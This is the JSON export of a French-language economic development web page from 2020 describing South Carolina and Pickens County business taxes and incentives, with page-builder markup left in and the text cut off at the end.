{"id":8579,"date":"2020-10-28T16:08:14","date_gmt":"2020-10-28T16:08:14","guid":{"rendered":"http:\/\/alliancepickens.com\/climat-des-affaires\/impots-et-incitatifs\/"},"modified":"2020-12-04T20:12:06","modified_gmt":"2020-12-04T20:12:06","slug":"impots-et-incitatifs","status":"publish","type":"page","link":"https:\/\/alliancepickens.com\/fr\/climat-des-affaires\/impots-et-incitatifs\/","title":{"rendered":"Imp\u00f4ts et incitatifs"},"content":{"rendered":"<div class=\"wpb-content-wrapper\"><p>[vc_row el_class=&#8221;intro&#8221;][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h2>Imp\u00f4ts sur les entreprises<\/h2>\n<p>[\/vc_column_text][vc_row_inner][vc_column_inner][vc_column_text el_class=&#8221;market&#8221;]<\/p>\n<h4><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5709 size-full\" src=\"http:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-coporatetaxincome.png\" alt=\"\" width=\"156\" height=\"156\" srcset=\"https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-coporatetaxincome.png 156w, https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-coporatetaxincome-150x150.png 150w\" sizes=\"auto, (max-width: 156px) 100vw, 156px\" \/><span style=\"color: #03795b\">Imp\u00f4t sur le revenu des soci\u00e9t\u00e9s<\/span><\/strong><\/h4>\n<p>L\u2019un des taux d\u2019imposition des soci\u00e9t\u00e9s les plus bas au pays se trouve en Caroline du Sud. L\u2019imp\u00f4t sur le revenu des soci\u00e9t\u00e9s est principalement fond\u00e9 sur le revenu brut et imposable f\u00e9d\u00e9ral uniquement \u00e0 partir de l\u2019activit\u00e9 commerciale men\u00e9e en Caroline du Sud. Les entreprises qui exercent des activit\u00e9s multi-\u00e9tats ne paient pas d\u2019imp\u00f4ts pour les revenus tir\u00e9s d\u2019une activit\u00e9 commerciale en dehors de la Caroline du Sud.<\/p>\n<p>Le revenu annuel des soci\u00e9t\u00e9s est fond\u00e9 sur les \u00e9l\u00e9ments suivants :<\/p>\n<ul>\n<li>Revenus allou\u00e9s aux activit\u00e9s de la Caroline du Sud (int\u00e9r\u00eats, dividendes, redevances, loyers, gains et pertes de vente de biens immobiliers et revenus de services personnels); Et<\/li>\n<li>Revenu r\u00e9parti en Caroline du Sud. La Caroline du Sud offre une formule de r\u00e9partition des ventes \u00e0 facteur unique.<\/li>\n<\/ul>\n<p>Le revenu des soci\u00e9t\u00e9s d\u2019\u00c9tat de la soci\u00e9t\u00e9 est calcul\u00e9 en appliquant un taux d\u2019imposition des soci\u00e9t\u00e9s de 5 % au revenu annuel des soci\u00e9t\u00e9s.[\/vc_column_text][\/vc_column_inner][\/vc_row_inner][\/vc_column][vc_column width=&#8221;1\/3&#8243;][vc_wp_custommenu title=&#8221;Dans cette section&#8221; nav_menu=&#8221;18&#8243; el_class=&#8221;inthissection&#8221;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text el_class=&#8221;market&#8221;]<\/p>\n<h4><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5716 size-full\" src=\"http:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-salestax.png\" alt=\"\" width=\"156\" height=\"156\" srcset=\"https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-salestax.png 156w, https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-salestax-150x150.png 150w\" sizes=\"auto, (max-width: 156px) 100vw, 156px\" \/><span style=\"color: #8a8a8a\">Taxe de vente et d\u2019utilisation<\/span><\/strong><\/h4>\n<p>Le taux d\u2019imposition des ventes et de l\u2019utilisation est de 6 pour cent en Caroline du Sud. Les comt\u00e9s, par l\u2019approbation d\u2019une majorit\u00e9 d\u2019\u00e9lecteurs de comt\u00e9, peuvent \u00e9valuer une taxe de vente d\u2019option locale suppl\u00e9mentaire de un \u00e0 deux pour cent. Il existe une vari\u00e9t\u00e9 d\u2019exemptions de taxe de vente pour les entreprises. Le comt\u00e9 de Pickens a une taxe de vente d\u2019options locales de 1 pour cent.<strong>  Les recettes de la taxe de vente des options locales de l\u2019ann\u00e9e pr\u00e9c\u00e9dente sont utilis\u00e9es dans le calcul pour d\u00e9terminer le cr\u00e9dit de taxe de vente d\u2019options locales pour l\u2019ann\u00e9e en cours. Ce cr\u00e9dit est appliqu\u00e9 pour r\u00e9duire les imp\u00f4ts fonciers dans le comt\u00e9 de Pickens.<\/strong>[\/vc_column_text][vc_column_text el_class=&#8221;market&#8221;]<\/p>\n<h4><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5730 size-full\" src=\"http:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-propertytax-1.png\" alt=\"\" width=\"156\" height=\"156\" srcset=\"https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-propertytax-1.png 156w, https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-propertytax-1-150x150.png 150w\" sizes=\"auto, (max-width: 156px) 100vw, 156px\" \/><span style=\"color: #1d2c68\">Taxe fonci\u00e8re<\/span><\/strong><\/h4>\n<p>Seuls les gouvernements locaux peuvent pr\u00e9lever des imp\u00f4ts fonciers en Caroline du Sud. L\u2019obligation d\u2019imp\u00f4t foncier d\u2019une entreprise est fonction de : <strong>Valeur fonci\u00e8re x Ratio d\u2019\u00e9valuation x Millionage.<\/strong><\/p>\n<p>Le minist\u00e8re du Revenu d\u00e9termine la juste valeur marchande des biens immobiliers (terrains et b\u00e2timents) d\u2019une entreprise et des biens personnels (machines et \u00e9quipement) afin d\u2019assurer un traitement local \u00e9quitable. La juste valeur marchande est ensuite \u00e9valu\u00e9e aux taux fix\u00e9s dans la constitution de l\u2019\u00c9tat. Pour les fabricants, les biens immobiliers et personnels sont \u00e9valu\u00e9s \u00e0 10 %. Le ratio d\u2019\u00e9valuation pour toutes les autres entreprises est de 6 % pour les biens immobiliers et de 10 % pour les biens personnels. (Pour les propri\u00e9taires, les r\u00e9sidences principales sont \u00e9valu\u00e9es \u00e0 4 %.)<\/p>\n<p>Le taux d\u2019milliation local s\u2019applique \u00e0 la valeur \u00e9valu\u00e9e pour d\u00e9terminer les imp\u00f4ts fonciers. Les taux de millage en Caroline du Sud sont sp\u00e9cifiques au site et fix\u00e9s chaque ann\u00e9e par le gouvernement local. Un moulin est \u00e9gal \u00e0 0,001 $.<\/p>\n<p><strong>Exemple d\u2019imp\u00f4t :<\/strong> (suppose l\u2019actif fabricant et non amortissable)<\/p>\n<p>Taux d\u2019\u00e9valuation de 10 millions de dollars x 10 % x taux d\u2019illage de 0,2287 = taxe annuelle de 228 700 $ (avant r\u00e9duction)<\/p>\n<p>\u00c0 l\u2019appui des entreprises, la Caroline du Sud exempte trois cat\u00e9gories de biens de l\u2019imp\u00f4t foncier local : tous les stocks (mati\u00e8res premi\u00e8res, travaux en cours et produits finis); tous les biens incorporels; et tous les \u00e9quipements de lutte contre la pollution.[\/vc_column_text][vc_column_text el_class=&#8221;market&#8221;]<\/p>\n<h4><strong><img loading=\"lazy\" decoding=\"async\" class=\"alignnone wp-image-5737 size-full\" src=\"http:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-licensedtax.png\" alt=\"\" width=\"156\" height=\"156\" srcset=\"https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-licensedtax.png 156w, https:\/\/alliancepickens.com\/wp-content\/uploads\/2020\/10\/icon-licensedtax-150x150.png 150w\" sizes=\"auto, (max-width: 156px) 100vw, 156px\" \/><span style=\"color: #5dc9ae\">Imp\u00f4t sur les soci\u00e9t\u00e9s agr\u00e9\u00e9s<\/span><\/strong><\/h4>\n<p>Toutes les soci\u00e9t\u00e9s doivent payer un imp\u00f4t annuel au minist\u00e8re du Revenu. Le taux est d\u2019un moulin par dollar (0,001 $) d\u2019une proportion du total vers\u00e9 en capital et vers\u00e9 en exc\u00e9dent, plus 15 $. L\u2019exc\u00e9dent gagn\u00e9 (b\u00e9n\u00e9fices non r\u00e9partis) n\u2019est pas inclus dans l\u2019assiette dans le calcul de cet imp\u00f4t. Pour les soci\u00e9t\u00e9s qui font des affaires \u00e0 l\u2019ext\u00e9rieur de l\u2019\u00c9tat, l\u2019imp\u00f4t sur les licences est d\u00e9termin\u00e9 par r\u00e9partition , de la m\u00eame fa\u00e7on que l\u2019imp\u00f4t sur le revenu des soci\u00e9t\u00e9s de Caroline du Sud est calcul\u00e9. L\u2019imp\u00f4t minimum sur les licences d\u2019entreprise est de 25 $.<\/p>\n<p>&nbsp;<\/p>\n<p>Veuillez consulter les <a href=\"http:\/\/dor.sc.gov\/communications\/tax-guides\">guides fiscaux du SC Department of Revenue<\/a> pour obtenir une explication d\u00e9taill\u00e9e des imp\u00f4ts des entreprises de caroline du Sud.[\/vc_column_text][\/vc_column][\/vc_row][vc_row full_width=&#8221;stretch_row&#8221; parallax=&#8221;content-moving&#8221; parallax_image=&#8221;5699&#8243; el_class=&#8221;parallaxbreak&#8221;][vc_column][vc_empty_space height=&#8221;450px&#8221;][\/vc_column][\/vc_row][vc_row el_class=&#8221;workforce&#8221;][vc_column width=&#8221;1\/3&#8243;][vc_single_image image=&#8221;5635&#8243; img_size=&#8221;full&#8221;][\/vc_column][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h3>ReadySC<\/h3>\n<p>En tant que partie int\u00e9grante du syst\u00e8me sc technical college, le Center for Accelerated Technology Training et son programme readySC<sup>TM<\/sup> travaillent en collaboration avec les seize coll\u00e8ges techniques pour pr\u00e9parer la main-d\u2019\u0153uvre de la Caroline du Sud pour r\u00e9pondre aux besoins de votre entreprise. Tri County Technical College dessert la communaut\u00e9 du comt\u00e9 de Pickens. Fond\u00e9e en 1961, readySC<sup>TM<\/sup> est l\u2019un des programmes de formation de la main-d\u2019\u0153uvre les plus anciens et les plus exp\u00e9riment\u00e9s aux \u00c9tats-Unis. Ils sont pr\u00eats \u00e0 apporter cette exp\u00e9rience et cette expertise pour travailler pour votre entreprise. Pour en savoir plus, <a href=\"http:\/\/www.readysc.org\/\"><br \/>\n  <strong>visitez www.readysc.org<\/strong><br \/>\n<\/a>.[\/vc_column_text][\/vc_column][\/vc_row][vc_row el_class=&#8221;greendiv&#8221;][vc_column][vc_separator color=&#8221;custom&#8221; border_width=&#8221;3&#8243; el_width=&#8221;50&#8243;][\/vc_column][\/vc_row][vc_row el_class=&#8221;workforce&#8221;][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h3>Apprentissage Caroline<\/h3>\n<p>Un apprentissage enregistr\u00e9 est un poste parrain\u00e9 par l\u2019employeur pour que les \u00e9tudiants apprennent simultan\u00e9ment et acqui\u00e8rent une exp\u00e9rience pratique. Il se compose de deux composantes compl\u00e9mentaires : une formation supervis\u00e9e en cours d\u2019emploi dispens\u00e9e par un employeur sur le lieu de travail et une formation technique connexe. Les employeurs ayant des programmes d\u2019apprentissage enregistr\u00e9s sont admissibles \u00e0 un cr\u00e9dit d\u2019imp\u00f4t de 1 000 $ pour chaque apprenti inscrit employ\u00e9 pendant au moins 7 mois au cours de chaque ann\u00e9e de son programme d\u2019apprentissage, pour une p\u00e9riode pouvant aller jusqu\u2019\u00e0 quatre ans. Pour en savoir plus, <a href=\"http:\/\/www.apprenticeshipcarolina.com\/\"><br \/>\n  <strong>visitez Apprenticeship Carolina<\/strong><br \/>\n<\/a>.[\/vc_column_text][\/vc_column][vc_column width=&#8221;1\/3&#8243;][vc_single_image image=&#8221;5747&#8243; img_size=&#8221;full&#8221;][\/vc_column][\/vc_row][vc_row el_class=&#8221;greendiv&#8221;][vc_column][vc_separator color=&#8221;custom&#8221; border_width=&#8221;3&#8243; el_width=&#8221;50&#8243;][\/vc_column][\/vc_row][vc_row el_class=&#8221;workforce&#8221;][vc_column width=&#8221;1\/3&#8243;][vc_single_image image=&#8221;5754&#8243; img_size=&#8221;full&#8221;][\/vc_column][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h3>Cr\u00e9dits de recyclage de zone d\u2019entreprise<\/h3>\n<p>Les cr\u00e9dits de recyclage sont un remboursement en esp\u00e8ces de 1 000 $ par ann\u00e9e et par employ\u00e9 pour un temps pouvant aller jusqu\u2019\u00e0 cinq ans de recyclage pour les employ\u00e9s de production existants. Les employeurs doivent faire correspondre chaque rabais de 1 $ avec des frais de formation de 1,50 $.[\/vc_column_text][\/vc_column][\/vc_row][vc_row el_class=&#8221;greendiv&#8221;][vc_column][vc_separator color=&#8221;custom&#8221; border_width=&#8221;3&#8243; el_width=&#8221;50&#8243;][\/vc_column][\/vc_row][vc_row el_class=&#8221;workforce&#8221;][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h3>Workforce Innovation and Opportunity Act (WIOA) &amp; SC Works Business Solutions<\/h3>\n<p>Des subventions potentielles sont disponibles pour la formation en cours d\u2019emploi, les programmes de formation des travailleurs titulaires, la formation personnalis\u00e9e pour les nouveaux employ\u00e9s jusqu\u2019\u00e0 50 % des co\u00fbts de formation des nouveaux employ\u00e9s et les remboursements pour la formation des r\u00e9f\u00e9rences wioa. L\u2019aide wioa compl\u00e8te le soutien fourni par ReadySC.[\/vc_column_text][\/vc_column][vc_column width=&#8221;1\/3&#8243;][vc_single_image image=&#8221;5761&#8243; img_size=&#8221;full&#8221;][\/vc_column][\/vc_row][vc_row el_class=&#8221;greendiv&#8221;][vc_column][vc_separator color=&#8221;custom&#8221; border_width=&#8221;3&#8243; el_width=&#8221;50&#8243;][\/vc_column][\/vc_row][vc_row el_class=&#8221;workforce&#8221;][vc_column width=&#8221;1\/3&#8243;][vc_single_image image=&#8221;5768&#8243; img_size=&#8221;full&#8221;][\/vc_column][vc_column width=&#8221;2\/3&#8243;][vc_column_text]<\/p>\n<h3>Cr\u00e9dit d\u2019imp\u00f4t pour l\u2019emploi \u2013 Statutaire<\/h3>\n<p>La Caroline du Sud r\u00e9compense les entreprises pour la cr\u00e9ation d\u2019emplois en r\u00e9duisant l\u2019imp\u00f4t sur le revenu des soci\u00e9t\u00e9s. Le cr\u00e9dit d\u2019imp\u00f4t pour l\u2019emploi est une incitation financi\u00e8re r\u00e9compensant les nouvelles entreprises en expansion pour la cr\u00e9ation d\u2019emplois en Caroline du Sud. Les entreprises doivent cr\u00e9er et maintenir un certain nombre de nouveaux emplois nets au cours d\u2019une ann\u00e9e imposable.<\/p>\n<p>Le nombre de nouveaux emplois est l\u2019augmentation de <u>l\u2019emploi mensuel moyen<\/u> d\u2019une ann\u00e9e \u00e0 l\u2019autre.[\/vc_column_text][\/vc_column][\/vc_row][vc_row full_width=&#8221;stretch_row&#8221; parallax=&#8221;content-moving&#8221; parallax_image=&#8221;5776&#8243; el_class=&#8221;parallaxbreak&#8221;][vc_column][vc_empty_space height=&#8221;450px&#8221;][\/vc_column][\/vc_row][vc_row el_class=&#8221;taxes&#8221;][vc_column][vc_column_text el_class=&#8221;taxes&#8221;]<\/p>\n<div class=\"styles-section-title styles-selector\">\n<h2>Exigences et valeurs connexes :<\/h2>\n<p>Doit d\u00e9poser le formulaire TC-4 ou TC-4SB avec d\u00e9claration de revenus des soci\u00e9t\u00e9s au minist\u00e8re des Revenus de SC. Pour plus d\u2019informations, <a href=\"http:\/\/www.sctax.org\/\">consultez www.sctax.org.<\/a><\/p>\n<ol>\n<li>La fabrication, la transformation, l\u2019emballage agricole, l\u2019entreposage et la distribution, la recherche et le d\u00e9veloppement, les activit\u00e9s agroalimentaires et les installations \u00e0 forte intensit\u00e9 technologique admissibles doivent cr\u00e9er une moyenne mensuelle de 10 nouveaux emplois nets.<\/li>\n<\/ol>\n<p>Remarque : Installations intensives en technologie telles que d\u00e9finies par les codes du SCIAN :<\/p>\n<\/div>\n<p>[\/vc_column_text][vc_column_text el_class=&#8221;taxes&#8221;]<\/p>\n<div class=\"sidebox\">\n<div class=\"styles-section-title styles-selector\">\n<p><strong>Conditions d\u2019admissibilit\u00e9  <\/strong><\/p>\n<p>Pour \u00eatre admissible au cr\u00e9dit de d\u00e9veloppement de l\u2019emploi, une entreprise doit :<\/p>\n<ul>\n<li>R\u00e9pondre aux exigences d\u2019une usine de fabrication, d\u2019emballage agricole, de transformation, de bureau d\u2019entreprise, d\u2019entrep\u00f4t et de distribution, de recherche et d\u00e9veloppement, d\u2019agro-industrie, de tourisme ou d\u2019une installation qualifi\u00e9e li\u00e9e aux services;<\/li>\n<li>Cr\u00e9er au moins 10 nouveaux emplois \u00e0 temps plein (ou satisfaire \u00e0 des exigences suppl\u00e9mentaires si elle est admissible \u00e0 titre d\u2019installation de service);<\/li>\n<li>Fournir aux employ\u00e9s \u00e0 temps plein un ensemble d\u2019avantages sociaux qui comprend un r\u00e9gime de soins de sant\u00e9 complet et payer au moins 50 % du co\u00fbt des primes d\u2019un employ\u00e9 admissible; Et<\/li>\n<li>Payer des frais de demande non remboursables de 4 000 $, recevoir une certification positive co\u00fbts\/avantages (le projet est d\u2019un avantage plus \u00e9lev\u00e9 que le co\u00fbt pour l\u2019\u00c9tat) du Conseil de coordination et payer des frais de renouvellement annuels de 500 $.<\/li>\n<\/ul>\n<p>Veuillez noter que le Conseil de coordination ne permettra g\u00e9n\u00e9ralement aux entreprises de percevoir des cr\u00e9dits que pendant 10 ans, et seulement pour les nouveaux emplois \u00e0 temps plein avec des salaires \u00e0 ou au-dessus du salaire moyen actuel du comt\u00e9 pour le comt\u00e9 dans lequel le projet est situ\u00e9.<\/p>\n<\/div>\n<\/div>\n<div class=\"styles-section-title styles-selector\">\n<h3>Cr\u00e9dit pour le d\u00e9veloppement de l\u2019emploi \u2013 N\u00e9goci\u00e9<\/h3>\n<p>Le Programme d\u2019entreprise de la Caroline du Sud est sensiblement diff\u00e9rent des autres incitatifs fiscaux de l\u2019\u00c9tat parce qu\u2019il ne r\u00e9duit pas une obligation fiscale particuli\u00e8re; au lieu de cela, il fournit aux entreprises des fonds pour compenser le co\u00fbt de la localisation ou de l\u2019expansion d\u2019une installation commerciale dans cet \u00c9tat. Repr\u00e9sentant les contributions r\u00e9elles en esp\u00e8ces au projet, cette incitation permet \u00e0 la Caroline du Sud de r\u00e9duire le co\u00fbt effectif de l\u2019investissement et de contribuer positivement aux r\u00e9sultats et \u00e0 la rentabilit\u00e9 d\u2019une entreprise.<\/p>\n<p>Le cr\u00e9dit de d\u00e9veloppement de l\u2019emploi utilise effectivement les retenues personnelles des nouveaux employ\u00e9s pour rembourser les entreprises qualifi\u00e9es et approuv\u00e9es qui ajoutent de la valeur \u00e0 la Caroline du Sud et \u00e0 la communaut\u00e9 dans laquelle ils s\u2019installent. Ces remboursements sont destin\u00e9s aux d\u00e9penses en immobilisations admissibles (terrains, b\u00e2timents, am\u00e9nagement de sites, \u00e9quipements de lutte contre la pollution ou infrastructure) associ\u00e9es \u00e0 des projets cr\u00e9ant de nouveaux emplois \u00e0 temps plein qui procurent \u00e9galement des prestations de soins de sant\u00e9 aux citoyens de la Caroline du Sud.<\/p>\n<p>Le Conseil de coordination administre le Programme d\u2019entreprise. Les fonds pour les cr\u00e9dits de d\u00e9veloppement de l\u2019emploi proviennent de la retenue d\u2019imp\u00f4t sur le revenu des particuliers de l\u2019\u00c9tat qui est pay\u00e9e par les employ\u00e9s d\u2019une entreprise. Les employ\u00e9s re\u00e7oivent un cr\u00e9dit \u00e9gal \u00e0 la retenue utilis\u00e9e par l\u2019entreprise; par cons\u00e9quent, il n\u2019y a pas d\u2019impact financier sur les employ\u00e9s. Aucune entreprise ne sera autoris\u00e9e \u00e0 demander un cr\u00e9dit \u00e0 un employ\u00e9 dont le travail a \u00e9t\u00e9 cr\u00e9\u00e9 dans cet \u00c9tat avant l\u2019ann\u00e9e imposable au cours de laquelle une entreprise a \u00e9t\u00e9 approuv\u00e9e pour le programme. De plus, le Conseil de coordination plafonne g\u00e9n\u00e9ralement la collecte annuelle \u00e0 un montant sup\u00e9rieur \u00e0 3 250 $ par employ\u00e9 et par ann\u00e9e.<\/p>\n<p>Pour v\u00e9rifier les d\u00e9penses en immobilisations et les emplois admissibles, une entreprise est tenue de mettre \u00e0 la disposition du Conseil de coordination et du minist\u00e8re du Revenu ses carnets de paie et ses dossiers de paie. En outre, une soci\u00e9t\u00e9 doit fournir un rapport pr\u00e9par\u00e9 par la soci\u00e9t\u00e9 qui d\u00e9taille les sources et les utilisations des fonds, et un tel rapport doit \u00eatre d\u00e9pos\u00e9 avant le 30 juin suivant l\u2019ann\u00e9e civile au cours de laquelle les remboursements sont re\u00e7us.<\/p>\n<ol>\n<li>Les bureaux d\u2019entreprise abritant la majorit\u00e9 des fonctions de l\u2019administration centrale doivent cr\u00e9er une moyenne mensuelle de 10 nouveaux emplois nets.<\/li>\n<li>Les installations qualifi\u00e9es li\u00e9es au service doivent satisfaire aux crit\u00e8res suivants pour \u00eatre admissibles : Si l\u2019installation est engag\u00e9e dans une activit\u00e9 \u00e9num\u00e9r\u00e9e dans le Manuel du Syst\u00e8me de classification de l\u2019industrie nord-am\u00e9ricain Section 62, sous-secteurs 621, 622 et 623 ou article 4881, sous-secteur 488190, l\u2019installation doit cr\u00e9er une moyenne mensuelle de 10 nouveaux emplois nets.<\/li>\n<\/ol>\n<\/div>\n<p>[\/vc_column_text][vc_column_text el_class=&#8221;taxes&#8221;]<\/p>\n<div class=\"styles-section-title styles-selector\">\n<div class=\"example2\">\n<p><strong>Exemple:<\/strong><\/p>\n<p>100 employ\u00e9s fabricant de cr\u00e9er 30 emplois<\/p>\n<p>30 emplois x 1500 $ = valeur annuelle de 45 000 $<\/p>\n<p>Valeur de 5 ans = 225 000 $<\/p>\n<\/div>\n<p>Le comt\u00e9 de Pickens est un comt\u00e9 de rang II, d\u00e9termin\u00e9 par le minist\u00e8re du Revenu. Conform\u00e9ment \u00e0 ce classement, une facilit\u00e9 doit cr\u00e9er en une seule ann\u00e9e imposable une moyenne mensuelle de:<\/p>\n<ul>\n<li>175 nouveaux emplois;<\/li>\n<li>150 nouveaux emplois dans un immeuble vacant depuis au moins 12 mois;<\/li>\n<li>100 nouveaux emplois avec un salaire moyen 1,5 fois plus bas que le revenu par habitant de l\u2019\u00c9tat ou du comt\u00e9;<\/li>\n<li>50 nouveaux emplois avec un salaire moyen 2 fois plus bas de l\u2019\u00c9tat ou du revenu par habitant; Ou<\/li>\n<li>25 nouveaux emplois avec un salaire moyen 2,5 fois le plus bas de l\u2019\u00c9tat ou le revenu par habitant du comt\u00e9. La valeur du cr\u00e9dit d\u00e9pend du niveau de d\u00e9veloppement du comt\u00e9 (le comt\u00e9 de Pickens est de niveau II \u00e0 2 750 $)<\/li>\n<\/ul>\n<ol>\n<li>  \u00ab Petite entreprise \u00bb \u2013 Si l\u2019entreprise est une entreprise qui est une entreprise de fabrication, de transformation, d\u2019emballage agricole, d\u2019entreposage et de distribution, de recherche et d\u00e9veloppement, d\u2019agro-industrie ou d\u2019une installation qualifi\u00e9e \u00e0 forte intensit\u00e9 technologique ou d\u2019un bureau d\u2019entreprise qui compte moins de 99 employ\u00e9s dans le monde, l\u2019entreprise pourrait b\u00e9n\u00e9ficier du cr\u00e9dit d\u2019imp\u00f4t pour les emplois des petites entreprises en cr\u00e9ant une moyenne mensuelle de deux nouveaux emplois nets, au lieu de 10. En vertu du cr\u00e9dit d\u2019imp\u00f4t pour les emplois des petites entreprises, l\u2019entreprise ne peut obtenir le montant total du cr\u00e9dit pour les nouveaux emplois nets qui paient 120% du taux horaire moyen du comt\u00e9. Pour les emplois qui paient moins de 120 % du taux horaire moyen du comt\u00e9, des cr\u00e9dits de 750 $ \u00e0 12 500 $ par emploi (ou de 1 750 $ \u00e0 13 000 $ dans un parc industriel de plusieurs comt\u00e9s) peuvent \u00eatre disponibles pour les entreprises admissibles.<\/li>\n<\/ol>\n<\/div>\n<p>[\/vc_column_text][vc_column_text el_class=&#8221;taxes&#8221;]<\/p>\n<div class=\"styles-section-title styles-selector\">\n<h3>Cr\u00e9dits du si\u00e8ge social \u2013 Statutaire<\/h3>\n<p>Afin de compenser les co\u00fbts associ\u00e9s \u00e0 la relocalisation ou \u00e0 l\u2019agrandissement d\u2019une installation de si\u00e8ge social, la Caroline du Sud offre un g\u00e9n\u00e9reux cr\u00e9dit d\u2019imp\u00f4t de 20 % bas\u00e9 sur la valeur de la partie r\u00e9elle de l\u2019installation consacr\u00e9e \u00e0 l\u2019exploitation de l\u2019administration centrale ou aux co\u00fbts directs de location pour les cinq premi\u00e8res ann\u00e9es d\u2019exploitation. Le cr\u00e9dit peut \u00eatre appliqu\u00e9 contre l\u2019imp\u00f4t sur le revenu des soci\u00e9t\u00e9s ou les frais de licence. Ces cr\u00e9dits ne sont pas limit\u00e9s dans leur capacit\u00e9 d\u2019\u00e9liminer l\u2019imp\u00f4t sur le revenu des soci\u00e9t\u00e9s et peuvent potentiellement \u00e9liminer l\u2019imp\u00f4t sur le revenu des soci\u00e9t\u00e9s pour aussi longtemps que 10 ans \u00e0 partir de l\u2019ann\u00e9e gagn\u00e9e. L\u2019admissibilit\u00e9 \u00e0 ce cr\u00e9dit est d\u00e9termin\u00e9e en r\u00e9pondant \u00e0 chacun des crit\u00e8res suivants :<\/p>\n<ol>\n<li>L\u2019entreprise doit cr\u00e9er au moins 40 nouveaux emplois \u00e0 temps plein qui sont engag\u00e9s dans le si\u00e8ge social ou la recherche et le d\u00e9veloppement. Au moins 20 de ces emplois doivent \u00eatre class\u00e9s comme employ\u00e9s du personnel. (Les employ\u00e9s du personnel de l\u2019administration centrale sont des travailleurs cadres, administratifs ou professionnels qui exercent des fonctions et des services li\u00e9s \u00e0 l\u2019administration centrale. Un cadre sup\u00e9rieur est un employ\u00e9 qui consacre 80 % de son temps \u00e0 des t\u00e2ches \u00e0 l\u2019\u00e9chelle de l\u2019entreprise.)<\/li>\n<li>L\u2019installation doit \u00eatre l\u2019endroit o\u00f9 la majorit\u00e9 des fonctions financi\u00e8res, juridiques, du personnel, de planification et\/ou d\u2019autres fonctions du personnel de l\u2019entreprise sont g\u00e9r\u00e9es sur une base r\u00e9gionale ou nationale.<\/li>\n<li>L\u2019installation doit \u00eatre le seul si\u00e8ge social de la r\u00e9gion ou du pays avec d\u2019autres installations qui lui rel\u00e8vent. Une r\u00e9gion est d\u00e9finie comme une zone g\u00e9ographique compos\u00e9e de cinq \u00c9tats (y compris la Caroline du Sud) ou de deux \u00c9tats ou plus (y compris la Caroline du Sud) si l\u2019ensemble des op\u00e9rations commerciales de la soci\u00e9t\u00e9 sont effectu\u00e9es dans moins de cinq \u00c9tats<\/li>\n<\/ol>\n<\/div>\n<p>[\/vc_column_text][\/vc_column][\/vc_row][vc_row][vc_column][\/vc_column][\/vc_row][vc_row full_width=&#8221;stretch_row&#8221; parallax=&#8221;content-moving&#8221; parallax_image=&#8221;5565&#8243; el_class=&#8221;parallaxbreak&#8221;][vc_column][vc_empty_space height=&#8221;450px&#8221;][\/vc_column][\/vc_row][vc_row][vc_column][vc_column_text el_class=&#8221;taxes&#8221;]<\/p>\n<div class=\"styles-section-title styles-selector\">\n<h2>INCITATIONS DU COMT\u00c9<\/h2>\n<h3>R\u00e9duction du ratio d\u2019exon\u00e9ration\/\u00e9valuation de l\u2019imp\u00f4t foncier manufacturier \u2013 Loi<\/h3>\n<p>Une nouvelle exon\u00e9ration de l\u2019imp\u00f4t foncier sur les produits manufactur\u00e9s est en vigueur de 2018 \u00e0 2024. Il r\u00e9duira le taux d\u2019\u00e9valuation par d\u00e9faut de 10,5 % \u00e0 9 %, soit une r\u00e9duction de 0,25 % chaque ann\u00e9e jusqu\u2019\u00e0 ce que l\u2019exon\u00e9ration compl\u00e8te entre en vigueur au cours de l\u2019ann\u00e9e d\u2019imposition fonci\u00e8re 2023. Le ratio d\u2019\u00e9valuation actuel est de 10 % en 2020. L\u2019exon\u00e9ration est une r\u00e9duction de l\u2019imp\u00f4t foncier d\u2019un fabricant pour tous les biens (r\u00e9els et personnels) qui ne sont pas assujettis \u00e0 une taxe n\u00e9goci\u00e9e en remplacement de l\u2019imp\u00f4t (un FILOT). Le d\u00e9p\u00f4t par le fabricant du PT-300A est la demande de cette exemption.<\/p>\n<p>Une entreprise admissible peut \u00e9galement profiter de l\u2019un des deux programmes d\u2019encouragement potentiels du comt\u00e9. Selon l\u2019investissement total, une soci\u00e9t\u00e9 peut \u00eatre admissible \u00e0 une r\u00e9duction l\u00e9gale de cinq ans d\u2019une partie de l\u2019imp\u00f4t foncier ou, en accord avec le comt\u00e9, \u00e0 un arrangement n\u00e9goci\u00e9 de r\u00e9mun\u00e9ration au lieu de l\u2019imp\u00f4t (FILOT). D\u2019autres options uniques peuvent \u00eatre consid\u00e9r\u00e9es comme une m\u00e9thode pour r\u00e9duire davantage la responsabilit\u00e9 et d\u00e9pendent de nouveaux investissements en capital et de la cr\u00e9ation de nouveaux emplois.<\/p>\n<h3>Imp\u00f4t foncier : Rapport d\u2019\u00e9valuation x valeur x Millage<\/h3>\n<p><span style=\"color: #03795b\"> <strong>Exemple d\u2019imp\u00f4t :<\/strong> <\/span> (suppose l\u2019actif fabricant et non amortissable)<br \/>\nInvestissement de 1 million de dollars x 10 % ratio d\u2019\u00e9valuation x taux d\u2019illage moyen de 0,2287 $ = taxe annuelle de 22 870 $ (avant r\u00e9duction)<\/p>\n<p><span style=\"color: #03795b\"><strong>Exemple d\u2019\u00e9conomies de r\u00e9duction :  <\/strong><\/span><br \/>\nInvestissement de 1 million de dollars x 10 % ratio d\u2019\u00e9valuation x r\u00e9duction du mois de 0,0561 = r\u00e9duction annuelle de 5 610 $ de 28 050 $ sur 5 